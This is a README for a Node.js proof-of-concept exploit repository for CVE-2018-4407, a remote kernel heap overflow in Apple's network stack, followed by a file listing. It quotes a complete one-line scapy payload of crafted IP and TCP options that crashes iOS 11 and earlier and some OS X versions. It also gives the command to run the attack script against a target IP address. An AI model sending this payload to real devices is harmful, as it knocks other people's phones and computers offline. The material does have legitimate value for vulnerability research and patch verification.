Node.js PoC exploit code for CVE-2018-4407# node-cve-2018-4407
Node.js PoC exploit code for CVE-2018-4407
Author: Sam Decrock
This script is based on the scapy script provided by Zuk:
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in a tweet:<br>pip install scapy<br>sudo scapy <br>send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))</p>— Zuk (@ihackbanme) <a href="https://twitter.com/ihackbanme/status/1057811965945376768?ref_src=twsrc%5Etfw">November 1, 2018</a></blockquote>
It crashes devices with iOS 11 or earlier as well as some versions of OS X.
## Install modules
To install its required modules, run:
npm install
## Run
To run, pass the target IP address as an argument:
node attack.js 192.168.1.20
## More information
Original write-up by Kevin Backhouse: https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
[4.0K] /data/pocs/27534df40b55149ad37e328ab8f2cc7501ae9548
├── [3.3K] attack.js
├── [1.0K] LICENSE
├── [ 553] package.json
└── [ 965] README.md
0 directories, 4 files